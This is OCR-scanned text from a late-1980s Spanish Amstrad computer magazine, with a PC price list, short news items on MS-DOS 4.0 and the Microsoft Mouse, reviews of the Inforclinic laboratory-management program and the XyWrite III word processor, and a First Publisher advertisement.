Mini Office 

52 

Discos duros 

56 

Virus 

62 



;MAS INCREIBLE TODAVIA! 


A partir del primero de septiembre entraron en vigor las nuevas tarifas de los 
productos Amstrad, con importantes reducciones en el precio de todos los com¬ 
patibles PC, que quedan como sigue: 



Pesetas 


PC 1512 SD Monocromo 109.900 
PC 1512 DD Monocromo 139.900 
PC 1512 SD Color 149.900 

PC 1512 DD Color 179.900 

PC 1640 SD Monocromo 129.900 
PC 1640 SD Color 179.900 

PC 1640 SD Color EGA 219.900 
PC 1640 DD Monocromo 159.900 
PC 1640 DD Color 199.900 

PC 1640 DD Color EGA 239.900 
PC 1640 HD Monocromo 219.900 
PC 1640 HD Color 259.900 

PC 1640 HD Color EGA 299.900 


En cuanto a las impresoras, todas mantienen sus anteriores precios, excep- 
to la DMP 4000, que se vende ahora a 79.900 pesetas. Por otra parte, a partir 
del proximo mes de octubre se entregara con cada impresora Amstrad el pa- 
quete de proceso de textos WordStar. 


MAS DE UN MILLON 
DE 1AT0NES " 

MICROSOFT iOtt 


Bytes 


• Microsoft lanzd recien- 
temente la esperada ver¬ 
sion 4.0 del sistema ope¬ 
rative MS-DOS, que ofre- 
ce como principales no- 
vedades el soporte para 
discos duros de tamano 
superior a 32 Mbytes y 
una interface de usuario 
similar a las del OS/2, que 
permits ejecutar progra- 
mas y funciones del DOS 
desde menus desplega- 
bles. 

• La firma britanica Stra¬ 
tum Technology afirma 
ser el primer fabricante de 
un disco duro para los 
compatibles PC portables 
de Amstrad, los PPC. 
Aunque la empresa tiene 
prevista la construction 
de unidades de disco in- 
ternas. los presentados 
hasta ahora son externos, 
conectandose al zdcalo 
posterior de expansion de 
los PPC. 


En menos de un aho, 
las ventas del popular Mi¬ 
crosoft Mouse han supe- 
rado el millon de unida¬ 
des instaladas y se espe- 
ra haber sobrepasado el 
liston del millon y medio 
para finales del verano. 

El exito de este raton 


se debe a su facil e intui- 
tiva forma de manejo, asi 
como a su alta calidad de 
soporte tanto en graficos 
como en software y a su 
conseguida estetica. 

Desde julio de 1986, 
las ventas se han duplica- 
do consecutivamente en 


periodos ae once meses. 
En agosto de 1987, Mi¬ 
crosoft introdujo en el 
mercado un ratdn renova- 
do por completo, que ha 
alcanzado una gran po- 
pularidad. 

La demanda de ratones 
prevista por Microsoft ha 


superado todas las ex- 
pectativas debido al in- 
cremento del uso de gra¬ 
ficos y a la introduction 
de herramientas tan po- 
derosas como el Micro¬ 
soft Windows y el OS/2 
Presentation Manager. 
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GESTION DE LABORATORIOS I9E ANAUSIS 

INFORCLINIC 


Traemos este mes a nuestras paginas 
un programa dedicado 
especificamente a la gestion de 
laboratorios de analisis ch'nicos, 
haciendo particular hiincapie eu los 
apartados de facturacion y control. 



E L programa se suministra en 
dos discos, acompanado de 
un manual y un cuadernillo 
que compiementa a este ul¬ 
timo. Aunque el manual se refiere a 
la version 1.10, el cuadernillo ad- 
junto ofrece informacion comple- 
mentaria para la version 2.00, que 
es la que traen los discos. Desde 
luego, esta politica es mucho mejor 
que los tradicionales ficheros 
README.BAT que acompanan a 



Inforclinic esta basado en el uso de 
ventanas y menus desplegables, si- 
milares a los del entorno grdfico 
GEM. 

las nuevas versiones de algunos 
programas. Entre los requerimien- 
tos minimos para utilizar esta apli- 
cacion hay dos bastante selectivos: 
512 Kb de memoria RAM minima y 
un disco duro de 10 6 20 Mb. El res- 
to de las exigencias son algo mas 


normales, teclado espanol, cual- 
quier tarjeta de video y sistema 
operativo DOS versiones 3.20 o su- 
periores. Una impresora es necesa- 
ria no para ejecutar el programa, 
pero si para obtener el maximo par- 
tido de Inforclinic, sobre todo a la 
hora de la facturacion. 


Buffer de 48K 

Antes de analizar en amplitud 
cada opcion, comentemos algunas 
caracteristicas peculiares. En pri¬ 
mer lugar, no es necesario tener 
conectada la impresora para emitir 
un listado. El programa crea un buf¬ 
fer o memoria intermedia de 48Kb 
cada vez que se ejecuta. Esta me¬ 
moria se mantiene mientras no es 
desconectado el ordenador. Si un 
listado ha de ser emitido y no esta 
la impresora en linea o esta apaga- 
da, dicho listado se vuelca en el 
buffer. Cuando se encienda la im¬ 
presora, aun estando en el sistema 
operativo, se realizara el listado 
pendiente, siempre que no se haya 
borrado dicho buffer al apagar el 
ordenador. 

Inforclinic puede ser tambien co- 
riectado a un autoanalizador. Esta 
posibilidad es muy interesante, 
pues permite una gestion mas co- 
moda de los resultados de los ana- 
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lisis. Por ultimo, y aunque en la in¬ 
formacion que acompaha al progra¬ 
ma se informa que es posible utili¬ 
zar un raton, el de nuestro Amstrad 
PC se revelo incompatible con este 
programa. 

Para instalar el programa solo 
necesitamos grabar los ficheros de 
ambos discos en nuestro disco 
duro. La primera vez que lo ejecu- 
temos nos pedir& que disehemos la 
cabecera personalizada que apare- 
cer& en todos los listados y factu 
ras que el programa realice. Debe- 
mos llevar a cabo este apartado 
correctamente, pues para corregir- 
lo seria necesario desinstalar la 
aplicacion, borrando los ficheros y 
volviendolos a copiar. El programa 
(al menos la version que se nos su- 
ministrb para su estudio) no incor¬ 
pora ninguna proteccion contra co- 
pia, por lo que no es necesario nin- 
gun disco Have para arrancar la 
aplicacion. Una vez instalado, cada 
vez que lo ejecutemos crear& auto- 
mciticamente el buffer para los lis¬ 
tados y nos pedira la fecha, o que 
validemos la del sistema. Este dato 
es muy importante para el control 
de los analisis y la facturacion. 

Completados estos pasos inicia- 
les nos encoritramos en la pantalla 
principal, que sera casi permanen- 
te a lo largo de foda la aplicacion. 
Esto es debido a que las opciones 
























I del prograrna se desarrollan dentro 
de ventanas. La primera llnea corn- 
pone el menu principal del progra- 
ma. Ayuda, Opciones, Facturas y 
Utilidades engloban lodas las ac- 
ciones que puede realizar Inforcli- 
nic. Mediante el cursor podemos 
activar uno de estos submenus, y 
pulsando ENTER lo selecciona- 
mos, abriendose debajo de cada 
rotulo una ventana donde aparece- 
r6n las respectivas posibilidades. 
Este «modus operandi» es identico 
al de los programas GEM, excepto 
an que para visualizar cada subme¬ 
nu es necesario enirar en el. Ayu¬ 
da permite acceder al modulo de 
ayuda de forma secuencial para 
consultarlo en su totalidad. Tam- 
bien tenemos ayuda pulsando FI 
desde cualquier punto del progra 
ma, de esta forma accedemos a la 
InformaciOn de ayuda apropiada 
para la situacion en que nos encon- 
trernos. Opciones controla la parte 
de «fichero» del prograrna, que 
para llevar el control de los analisis 
guarda informaci6n sobre entida- 
des, doctores y pacientes, segun 
sea el modo de trabajo del labora- 
torio, o bien para permitir cualquier 
forma de relacion profesional. Por 
esto, una parte irnportante de esta 
aplicacidn se refiere al manteni- 
miento de la informacibn de estos 
apartados. 

Dentro del menu de Opciones te¬ 
nemos Entidades, que nos permite 
introducir y modificar la informacion 
de estas. Un apartado irnportante 
de la informacidn de las entidades 
es el precio de los analisis que he 
mos de asignar para cada entidad, 
pudiendo fijardos precios, uno para 
grandes cantidades y otro para 
analisis singulares. La forma de se- 
leccion, tanto de la entidad como 
del analisis del que se quiere ajus- 
tar precio, es bastante comoda. A 
iraves de ventanas, visualizamos 
las entidades o los analisis, siendo 
luego necesario teclear el numero 
o clave de entidad o analisis, res- 
pectivamente. En cualquier mo¬ 
menta podemos retornar al menu 
anterior mediante ESC, por lo que 
no aparece esa sensacion de «Y 
ahora. ^que hago?» Emitir listados 
de las entidades y estadisticas de 
los pacientes asociados a cada en¬ 
tidad completan las posibilidades 
para Entidades. Estas emisiones 
pueden dirigirse a pantalla o a la 
impresora, a voluritad del usuario. 
Si la impresora no estuviera en ll¬ 
nea o se encontrase apagada, se- 



El prograrna dispone de un potente sistema de ayuda en pantalla. 



Ventana de grabacidn de entidades. 


rlan volcados en el buffer en espe- 
ra de una imprestan posterior. Me¬ 
dicos tiene unas opciones identi- 
cas, excepto fijar precios para ana¬ 
lisis, que solo esta disponible en 
Entidades. 

Perfiles de analisis 
y pacientes 

Pdrfiles es una opcibn que nos 
permite reunir diversos analisis en 
grupos. De esta forma podemos 
simplificar el trabajo, sobre todo 
cuando se mandan anblisis en gru¬ 
pos, repetidas veces. Podemos te 
ner hasta 15 analisis distintos en 
cada perfil. Para crear estos perfi¬ 
les hemos de dar la clave del ana¬ 
lisis a incluir: si no nos acordamos, 
disponemos de una ventana donde 
aparecen los analisis con sus cla¬ 
ves para facilitarnos esta labor. El 


propio programs reconoce si esta- 
mos introduciendo una duplicacibn. 
Pacientes es la opcibn mas impor- 
tante de este submenu. No en vano 
es el pacierite la unidad que identi- 
fica a un conjunto de analisis pedi- 
dos. La introduccion es la primera 
funcibn de Pacientes, nos pide el 
nombre, el mbdico y la entidad aso¬ 
ciados y a continuacibn unos datos 
adicionales como sexo, edad, di- 
reccion, etcetera. El campo reser- 
vado para nombre y apellidos solo 
dene 30 caracteres, que parece m- 
suficiente en la mayoria de los ca- 
sos. El mbdico y la entidad se intro- 
ducen por numero; si no tenemos 
unas listas, podemos pulsar EN¬ 
TER y aparecera una ventana de 
ayuda donde consultar dichos nu- 
meros. A continuacion, nos pregun- 
ta los analisis a efectuar a este pa- 
ciente. Hay que introducir la clave 
de cada analisis: si la desconoce- 
mos, tenemos de nuevo una venta- 


Amstrad User/31 




































PROFESIONAL 



Indice de an^lisis y ventana de seleccidn. 


na donde aparecen los analisis 
agrupados por tipos, excepto los 
perfiles que hayamos creado. Para 
visualizar estos hemos de te- 
clear Z y entonces apareceran los 
perfiles creados y solo tendremos 
que afiadir el numero que identifica 
al pertil deseado. Una vez introdu- 
cidos estos datos se nos pregunta 
si queremos un «ticket». Este “tic¬ 
ket" sirve de control para el peticio- 
nario del analisis. 

Inforclinic no guarda ningun dato 
en memoria, por eso a continuacion 
de estas peticiones se graba toda 
la informacion en el disco duro. De 
esta forma es imposible que una 
caida de tensidn nos haga perder 
nuestros datos. Sin embargo, esta 
solucidn hace que el proceso de in- 
iroduccion de pacientes sea lento, 
sobre todo si se ha de realizar en 
grandes grupos. Corregir y Borrar 
pacientes tienen funciones obvias. 
Otras posibilidades del submenu 
Pacientes son la emision de lista- 
dos. que en este caso pueden ser 
clasificados por medicos y entida- 
des, y la Hoja de trabajo. Esta ulti¬ 
ma opcidn consiste en un resumen 
organizado del trabajo de un dia o 
de los analisis pendientes de resut 
tado. Puede ser detailado o resumi- 
do, diferenciandose ambos en el 
volumen de informacion que emi- 
ten. 

Analisis y 
facturacion 

Una vez obtenidos los resultados 
de los analisis es necesario intro- 
ducir estos resultados en los anali¬ 
sis correspondientes. Analisis se 


encarga de realizar esta funcidn. 
Para la introduced de resultados 
tenemos dos metodos, por analisis 
o por pacientes, siendo en ambos 
casos exhaustive. Esto es. por ana¬ 
lisis buscard todos los pacientes 
que tienen ese analisis, y por pa¬ 
cientes pedira los resultados de to- 
dos los analisis de dicho paciente. 
En ambos casos podemos saltar- 
nos la introduced de algunos re¬ 
sultados pulsando la tecla ESC. 
Dentro de Analisis tambien pode¬ 
mos modificar resultados y realizar 
la conexd On-line con un analiza- 
dor. Esta ultima posibilidad, al ser 
opcional, no se encuentra en los 
paquetes estandar, ofreciendose 
por separado. El menu Facturacion 
incluye las funciones necesarias 
para controlar las facturas de los 
analisis. Una condicd previa que 
controla el programa para realizar 
una factura es que el analisis 
correspondiente tenga resultado. 
Para confeccionar las facturas po¬ 
demos hacerlo para un solo pacien¬ 
te, incluyendo todos sus analisis, o 
por grupos. Entidades, medicos o 
bien un conjunto de pacientes pue¬ 
den ser facturados en grupo. Den¬ 
tro de entidades y m6dicos tambien 
podemos realizar una seleccion por 
numeros de pacientes. Solo existe 
una diferencia, por entidades todos 
los pacientes van agrupados en 
una misma factura, mientras que 
los otros tipos de grupos emiten 
facturas distintas para cada pacien¬ 
te. Procesos auxiliares es una op- 
cion en la que se incluyen consul- 
tar, corregir, borrar y sacar copias 
de facturas, as! como la emision de 
un resumen de facturaciOn distin- 
guido por fechas. 


Utiiidades, ICEDN 
y manual 

Utiiidades es la ultima opciOn del 
menu principal. En ella tenemos 
funciones para realizar una copia 
de seguridad de los datos y su re- 
cuperacion. Estos dos procesos uti- 
lizan los programas del DOS, BAC¬ 
KUP y RESTORE. Esta funciOn es 
realmente importan'te debido a que 
Inforclinic solo trabaja con datos del 
disco duro, y si bien es dificil que 
se deteriore la informacd en estos 
discos, nadie esta libre de errores 
de tipo humano. La ultima opciOn 
de Utiiidades es borrar los datos del 
aho, necesaria al iniciar un nuevo 
ano, o para limpiar Inforclinic antes 
de hacer un RESTORE. 

Inforclinic implements 176 tipos 
de analisis, mcis 6 tipos libres. Ade- 
mas incluye tambien las unidades o 
clases en que han de darse los re¬ 
sultados de estos. En cualquier 
caso, el laboratorio que vaya a uti¬ 
lizer este programa puede realizar 
analisis distintos o bien preferir otro 
tipo de unidades para la represen- 
taciOn de los resultados. ICEDN es 
un programa que acompaha a In 
forclinic y sirve para personalizar. si 
lo podemos llamar asi, esta aplica- 
ci6n, modificando o ahadiendo ana¬ 
lisis y sus unidades. El manual es 
bastante bueno, muy claro, aunque 
la aplicaciOn tampoco tiene dema- 
siada complicacion. Quiza la unica 
pega es que la letra puede ser un 
poco pequeha para algunos lecto 
res y la ImpresiOn deja algo que de¬ 
sear (^fotocopias?). Otras caracte- 
ri'sticas de esta aplicaciOn son: po¬ 
sibilidad de definir hasta 99 entida¬ 
des. 99 mOdicos y 99 perfiles de 
analisis, gestion de 32.000 pacien¬ 
tes por aho y compatibilidad con re¬ 
des locales. 

Joaquin Mateos Lago 


CABACTERISTICAS 


AplicaciOn integrada para 
la gestibn de laboratorios de 
anllisis clinicos. 

CONFIGURACION: Ams- 
trad PC o compatible con un 
minimo de 512 K de memo¬ 
ria RAM y disco duro. Im- 
presora. 

DISTRIBUIDOR: Grupo 
Abaco, S. A. cl Gran Via, 57, 
7-1. Telf. (91) 542 52 27. 
28013 Madrid. 
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FIRST PUBLISHER: 

Si esta buscando una 
autoedicion a su medida, 
nosotros la tenemos. 


Dispone de un completo conjunto de 
herramientas de dibitjo, que le permiten creary 
rctocar las imdgenes a su completo gusto, dis- 
poniendo adenitis de 10 familias distintas de 
caractcres de diversos tamanos adaptables a 
sus necesidades. 


FIRST PUBLISHER esta pensado para los 
iisiiarios de configuraciones basicas con im- 
presoras matticiales, o soflsticadas con laser 
que desean alcanzar la Autoedicion desde el 
primer momento. Para personalizar sits presen- 
tacionesy documentos facilmente datido cl 
"toque elegante" a sus mensaje. 

Pennite enriquecer los documentos mcorporan- 
do imageries predibujadas -desde su libreria de 
complementos (Art Gallery), o desde 
Paintbrush, PC Paint Plus o Ms Windows Paint. 

Concesionario exclusivo para Espana: RHV IBERICA 


Su extraordinaria facilidad de mariejo le 
ahorrara tiempo en la confeccidn de cualquier 
tipo de documento, y convertird sus tarcas de 
edicion en un agradable trabajo, consiguiendo 
expresarfacilmente sus ideas sobre el papel. 

Cartas, mailings, formutarios presentaciones, in- 
formes, boietines informadones... adquieren 
intercs y atractivo sin exigirle el aprendizaje de 
enrevesados conumdos. 

FIRST PUBLISHER 
Autoedicion a su justa medida 
Manual y Programa en Castellano. 
Distribuido por: IDEALOGIC, S.A. PVP 59.900 +IVA 



KIde/uogic 

cl Valencia, 85 - 08029 BARCELONA T6lex: 54554 

Tel. 253 86 93 - 253 74 00 FAX: 323 69 68 

Me inleresa recibir mas informacibn 
sobre los programas distributes 
por IDEALOGIC, S.A. 

Consign* si Ud, es: 
[^Distributor de ordenadores PC. 
[2jUsuario personal. 

ODrganizacion con PC instalados 
Nombre. 

Direccibn. 

Poblacion. 

Prov.C.P. 

DELEGACIONES 

BILBAO 94-440 75 73 MADRID 91-551 54 16 VALENCIA 96-352 44 80 

Enviar a: IDEALOGIC, S.A. 
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XYWRHE III 

Flexibilidad, 
velocidad 
y potencia 

|<l procesador de textos es 
lino dc los programas quo sc 
fia heclio itiiprescindible cn 
cualquicr ordcnador. Siis 
aplicacioncs son dc todos co- 
nocidas y su ndlidad inani- 
fiesta. 


X YWRITE es un procesador 
de textos avanzado que 
actua por comandos, unos 
de accion inmediata y 
otros que se insertan en el texto y, 
salvo los que afectan a los marge- 
nes y ajustes, surten efecto al irn- 
primir. 

El equipo mlnimo necesario para 
ejecutar XyWrite III es el siguiente: 
— 256 K de memoria, 

— Sistema operative DOS 2.0 
— Una unidad de disco de 360 
K. 

El programa esta contenido en 
dos disquettes. uno con los progra¬ 
mas y otro con ficheros auxiliares. 
Le acompafia un manual en caste- 
llano dividido en tres partes, dos tu- 
toriales y un manual de referenda. 
Es importante empezar leyendo la 
documentacion y olvidarse de las 
prisas por ver el programa en mar- 
cha. 

El manual, aunque con algunas 
lagunas, esta bien en general y 
basta leer ambos tutoriales para es- 
tar en condiciones de trabajar efi- 
cazmente con el programa, si bien 
para dominarlo hace falta bastante 
mas. 


En las primeras paginas se expli¬ 
ca como preparar los discos, tanto 
para su funcionamiento desde los 
mismos como para su instalacion 
en disco duro, asi como la forma de 
hacei una copia de seguridad de 
ambos discos. No obstante, la co¬ 
pia del disco que contiene el pro¬ 
grama no funcionara, pues el origi¬ 
nal esta protegido y es irrtposible 
arrancar sin el. El manual hace re¬ 
ferenda a unas hojas sueltas que 
le acompanan, en las que se pue- 
den encontrar las instrucciones per- 
tinentes para recuperar la copia de 
seguridad en caso de que fuera 
necesario. 

Esto ultimo es preocupante, por- 
que unas hojas sueltas se pueden 
perder, y si el disco de trabajo se 
estropea, el problems sera grave. 
Tambien podrla ocurrir que el disco 
de trabajo sutriera un dano fisico. 
Suponemos que en estos casos el 
distribuidor estara a la altura que 
cabe esperar para solucionar el 
problerna. 

El programa arranca desde disco 
duro o desde disquette tecleando 
XY3, Nada rrtas arrancar se ejecu- 
ta el fichero INICIO.INT, que con¬ 


tiene las configuraciones por defec- 
to. y aparece ia pantalla de presen- 
tacion del programa. 

Puesta en marcha 

Basta pulsar cualquier tecla para 
que desaparezca la presentactan y 
nos encontremos inmersos en la 
pantalla de trabajo con varias zo- 
nas bien definidas: en la primera If- 
nea de la pantalla se encuentra la 
linea de comandos, seguida por 
otra donde aparecen los mensajes 
del programa, el nombre del fiche¬ 
ro activo y los indicadores de esta- 
do del bloqueo de numeros, bio 
queo de mayusculas, insercion, et¬ 
cetera. Bajo estas dos lineas esta 
la regia de tabulacidn, tras la cual, 
hasta el final de la pantalla, tene- 
mos la zona de texto o de trabajo. 

La ayuda esta disponible en cual¬ 
quier momenta mediante la pulsa- 
cion de las teclas <Alt>+<F9>. 
Esta basada en un sistema de indi 
ces cruzados que parte de un menu 
horizontal que sustituye a la regia 
de tabulacion y cuyas opciones se 
pueden recorrer con las teclas de 
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cursor apareciendo en la linea do 
mensajes una sucinta descripcion 
de lo que la opcion seleccionfcia 
contiene. 

Seleccionando la opcion sobre la 
que se desee ayuda y pulsando 
<Return> se accede a otro nivel 
de ayuda donde podemos encon 
trar otro menu o una pantalla com- 
pleta con informacion y con pala- 
bras realzadas, en algunos case-, 
que nos permitiran seguir profundi- 
zando en la ayuda. Pulsando 
<Esc> retrocederemos a la panta¬ 
lla anterior. 

Se puede salir de la ayuda de 
dos formas: la primera pulsando 
<Alt>+<F9> (igual que para en- 
trar) y la segunda pulsando 
<Ctrl> + <Alt> + <.F9>. La dife- 
rencia estriba en que de la segun¬ 
da torma podemos volver a entrar 
en ayuda pulsando de nuevo 
<Ctrl> + <Alt> + <F9>, en cuyo 
caso volveremos a la misma panta¬ 
lla que teniamos al salir. 

En los discos de XyWrite hay dos 
ticheros de ayuda: CORTO.HLP y 
LARG02.HLP. Uno es mas largo y 
completo que el otro, de forma que 
se recomienda utilizar el mas pe- 
queno cuando se trabaja con dis¬ 
cos flexibles y el mayor cuando el 
programa esta instalado en disco 
duro. En cualquier caso, el fichero 
de ayuda que se desee debe estar 
en el mismo directorio que el pro¬ 
grama principal. Se puede seleccio- 
nar uno u otro con el comando 
CAAYUDA (Nombre del fichero). 

Curiosamente, los caracteres 
ASCII que en el sistema operativo 
se consiguen con <Alt> y un nu- 
mero en el teclado numerico, en 
XyWrite se consiguen a traves de 
la ayuda o pulsando 
<Shift> + <Alt> y dicho numero. 

Escribir con 
XyWrite 

Si se quiere comenzar a escribir 
un texto nuevo, lo primero que hay 
que hacer es darle un nombre con 
el comando 'NUEVO (Nombre)’. El 
nombre puede tener o no extension 
y su longitud esta limitada por el 
sistema operativo, es decir, ocho 
caracteres como maximo para el 
nombre y tres para la extension. 
Cuando el texto sobre el que se de¬ 
sea trabajar ya existe en disco, bas¬ 


tard llamarlo con el comando 'LLA¬ 
MA (Nombre)’. 

Se ha dicho al principio que mu- 
chos de los comandos se insertan 
en el texto, pero no se introducen 
en el directamente. sino en la linea 
de comandos. Para ello tenemos 
dos opciones: pulsar <F5>, con lo 
que el cursor se situa en dicha li¬ 
nea borrando lo que en ella hubie- 


saltamos a la linea de comandos 
sin borrar nada. Cada vez que se 
pulse <F10> cambiamos de la 
zona de trabajo a la linea de co¬ 
mandos o viceversa. 

Una vez introducido el comando 
podemos pulsar <F9> 5= <Re- 
turn>. Ambas introducen el coman¬ 
do devolviendo el cursor al punto 
de la zona de trabajo donde estaba 
antes. La diferenc.ia entre ambas 
consiste en que mientras <-Re- 
turn> solo introduce el comando 
estando el cursor en la linea de or- 
denes, <F9> lo hace independien- 
temente de donde este el cursor. 
Esto ultimo puede ser util en situa- 
ciones en las que repetidamente se 
introduzca el mismo comando, por 
ejemplo grabar periddicamente el 
texto en disco. 

Los comandos de accion no in- 
mediata se van empotrando en el 
texto en la posicion en que este el 
cursor. Lo hacen con una marca en 
forma de triangulo y producen su 
efecto en el texto a partir de la linea 
donde se encuentran o en la si- 
guiente si hay caracteres a su iz- 
quierda. Estos triangulos se traian 


como cualquier otro caraeter y. por 
tanto, pueden borrarse, copiarse, 
moverse, etcetera. 

No hace falta que un texto sea 
excesivamente largo para que este 
plagado de marcas de comandos 
que parecen iguales, aun cuando lo 
mas probable es que no lo sean. 
Para ver el comando que contiene 
cada triangulo podemos situar el 


cursor sobre ellos y observar su 
contenido en la linea de mensajes 
o bien pasar al modo de pantalla 
expandida con <Ctrl>+<F9> y 
verlos todos dentro del texto entre 
signos << >>. 

La simple y liana entrada v modi- 
ficacidn de texto y algunas otras ca- 
racterfsticas, como la posibilidad de 
utilizar varios tipos de letra, son 
practicamente iguales a la de cual¬ 
quier otro procesador de textos, por 
lo que a continuacion veremos las 
posibilidades que hacen de este un 
excelente producto. 

Lo mas 
sobresaliente 

— Movimiento por el texto: Se 
permiten todos los movimientos 
imaginables mebiante la pulsacion 
simple de las teclas de cursor, ori- 
gen, fin, avance de pagina y reiro- 
ceso de pagina y la combinacion de 
estas con <Ctrl> y <Alt>. Se pue¬ 
de avanzar o retroceder caraeter a 
caraeter, palabra a palabra, linea a 
linea, parrafo a parrafo, pagina a 


mm j>ro,r..w, (8/IOT J&tEUIHMW Q 

.... 3 *. .. .7 


Escritura en columnas, una de las numerosas posibilidades de XyWrite III. 
ra, o pulsar <F10>-^ con lo que 
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pagina, por paginas de impresion y 
se puede ir al principio o fin del tex- 
to. Tambien existe un comando 
para ir a una linea concrela de una 
pagina determinada. 

— Busquedas: El programa per- 
mite la busqueda, con o sin cam- 
bios, de caracteres o cadenas tan- 
to desde la posicion del cursor ha- 
cia adelante como hacia atr&s, pero 
ademas se puede buscar dentro de 
cualquier fichero del disco. Si se uti- 
liza como nombre del fichero *.*, 
XyWrite buscara en todos ellos. 

Se pueden efectuar busquedas 
con comodines, aunque no con los' 
dos DOS. El programa tiene los su- 
yos propios. 

— Marcar: Existen diversos pro- 
eedimientos para marcar o selec- 
cionar texto, ya sean palabras. li 
neas, frases, parrafos o bloques. 
Una vez marcado o seleccionado 
un texto se pueden realizar diver- 
sas operaciones con el, tales como 
moverlo, copiarlo, borrarlo, imprimir 
solo el texto marcado, enviar ese 
trozo de texto a otro fichero, etce- 



XyWrita permite la edicion simulta 
nea de hasta nueve documentos di 
ferentes. 


tera. Se trata de una opcion muy 
potente. No se puede marcar mas 
de un bloque de texto simultanea- 
mente y es necesario desmarcarlo 
antes de hacer un nuevo marcado. 

— Pantalla dividida: Se puede 
dividir la pantalla hasta en nueve 
ventanas que contengan sendos 
archivos ablertos. Es decir, es po 
sible trabajar hasta con nueve tex- 
tos a la vez y realizar entre ellos 
operaciones de copia, movimiento, 
etcetera, como si de uno solo se 
tratase. Pueden ajustarse los mar 
genes y la existencia o no de mar 
co de las diferentes ventanas que 
se creen. 

— Almacena / Recupera: As! lla¬ 
ma el manual a la posibllidad de 


asociar un texto marcado a una te- 
cla concreta con objeto de poder re- 
petirlo cuantas veces sea necesa¬ 
rio con la sola pulsacion de 
<Alt> + lateclaelegida. El manual 
no dice nada acerca de la posible li- 
mitacion en el numero de caracte¬ 
res que pueda asoeiarse a una te- 
cla. Nosotros hemos realizado esta 
operacion con un bloque de tres pa¬ 
ginas de texto sin ningun tipo de 
problemas. Si existe, sin embargo, 
un li'mite en el numero de los 'alma¬ 
cena / recupera' que se pueden 
asignar. 

— Funciones de calculo mate- 
mAtico: El programa permite efec¬ 
tuar calculos numericos de dos for¬ 
mas: seleccionando numeros que 
se encuentren en el texto, suman- 
dolos o restandolos para despues 
insertar el resultado donde intere- 
se, o resolviendo expresiones arit- 
meticas que se encuentren en el 
texto. 

— Fusion-impresion: Es lo que 
normalmente se conoce con el 
nombre de 'mail merge . Esto es, la 
obtencion de varias copias de un 
mismo texto, pero anadiendo en 
cada una ciertos datos especlficos 
y diferentes. Para ello, ademas del 
texto en cuestion, se necesita otro 
fichero conteniendo los datos a in- 
cluir en el primero con un formato 
concrete que el manual explica per- 
fectamente. 

En bases de datos como la de 
Open Access II, que permite dise- 
nar un formato de impresion para 
los datos e imprimirlos en un fiche¬ 
ro ASCII, no existe ningun proble¬ 
ms para obtener un fichero que se 
pueda fusionar con un texto creado 
con XyWrite. 

— Indexacion y tablas de conte- 
nido: Se puede, con bastante faci- 
lidad, generar automaticamente un 
Indice, una tabla de contenido o 
ambos, del texto que se este de- 
sarrollando, teniendo la ventaja de 
que si posteriormente se modifies 
el texto, el indice y la tabla segui- 
ran en sus referencias a las modi- 
ficaciones, ya sea de numero de 
pagina, de ordenacion de capitulos, 
etcetera. 

— Numeracion automatics de 
parrafos: Al igual que ocurre con la 
indexacion, XyWrite permite con 
suma facilidad definir y utilizar la 
numeracion de parrafos del tipo 
A. 1.2, por ejemplo. Tambien en 
este caso la numeracion de parra¬ 


fos sigue de forma automatica a los 
cambios que se produzcan en el 
texto. Esta es una ayuda de inesti¬ 
mable valor si se trabaja con ma¬ 
nuals o textos estructurados si- 
guiendo un esquema. 

— Justificacion: XyWrite utiliza 
micro-espacios para justificar. Los 
introduce entre las letras que for- 
man una palabra o entre las pala¬ 
bras, e incluso ’encoge’ las letras. 
Este efecto no se puede observar 
en la pantalla, por lo que no se ve 
la justificacidn hasta el momento de 
imprimir. Esta forma de justificar 
produce en el texto impreso un 
efecto mucho mas elegante, pero 
tiene un inconveniente que en el al- 
gunos casos puede ser grave: la 
impresion es realmente lenta debi- 
do a los continuos movimientos ha¬ 
cia adelante y hacia atrds de la 
cabeza. 

— Particidn automatica de pala¬ 
bras: Si se conecta esta opcion, el 
programa cortara automaticamente 
las palabras por silabas al final de 
cada linea cuando sea necesario. 
Es una posibilidad nada corriente 
en procesadores de texto. A pesar 
de que XyWrite tiene programadas 
todas las reglas de participacion de 
palabras del Castellano, esta opcion 
no funcionara si no se carga un dic- 
cionario de excepciones. Este dic- 
cionario es un archivo de texto nor¬ 
mal en el que se pueden escribir las 
palabras que se qufere sfgan una 
regia especial al partirse. Basta 
para ello escribir las palabras inter- 
calando guiones en los puntos 
donde se quiera permitir la par- 
ticion. 

— Correction ortografica: Existe 
un corrector ortografico que actua 
sobre el texto grabado en disco, no 
sobre el que esta en la pantalla. Si 
tenemos un texto en pantalla y 
efectuamos una correccion, la ver¬ 
sion corregida estara en el disco, 
no en pantalla. En realidad es un 
programa indeperidiente (REVI- 
SAR.EXE) que puede ejecutarse 
desde el DOS o desde XyWrite y 
permite corregir cualquier texto en 
formato ASCII, generado o no por 
XyWrite. 

Aqui es preciso sehalar algo que 
supone una mancha en el progra¬ 
ma. Cuando se desea corregir una 
palabra, aparece en la parte inferior 
de la pantalla la linea donde se en- 
cuentra. Ahora debemos movernos 
con las teclas de cursor a derecha 


36 / Amstrad User 

















e izquierda y efectuar la correccion. 
Perfecto, i.verdad? Bien pues el 
cursor no se ve, no sabemos d6n- 
de estamos. Hay que tener en 
cuenta que dicho cursor invisible se 
situa en el primer car£cter de la pa- 
labra a corregir. Podemos pulsar la 
tecla <lns>, poniendonos en modo 
insercion, y veremos el cursor. 

Otro punto negativo del corrector 
es que, en las pruebas que hemos 
realizado, paso por aito algunas fal- 
tas ortograficas que con toda inten¬ 
tion se introdujeron en el texto. En 
resumen, ei corrector ortografico 
deja bastante que desear y esta 
muy por debajo del resto del pro- 
grama, io que es una verdadera 
lastima. 

— Encabezamientos y pies con¬ 
tinues: Se pueden disenar tanto ca- 
beceras como pies que se repitan 
en todas las paginas. En ellos se 
puede incluir el numero de pagina 
y cualquier texto, pudiendose defi- 
nir un pie o cabecera para las pa¬ 
ginas pares y otro para las impares. 

—- Notas a pie de pagina: A lo 
largo del texto se pueden poner 
rnarcas que remitan a notas al pie. 
Estas se definen en el momento de 
colocar las marcas. Tambien se 
puede hacer que las notas aclara- 
torias se impriman al final del texto 
en hoja aparte. 

— Estiios: Todos los comandos 
de formato, tales como margenes, 
ajustes, justificado, etcetera, se 
pueaen guaraar en ficheros de es- 
tilo. De esta forma, volviendo a car- 
gar un fichero determmado, nos 
aseguramos de que, por ejemolo. 
todas nuestras cartas tengan el 
mismo formato. La definicion del 
estilo debe ir al principlo del texto. 

— Insercion de archives: En 
cualquier momento se puede inser- 
tar un archivo que este en disco 
dentro de otro que tengamos en 
pantalla. 

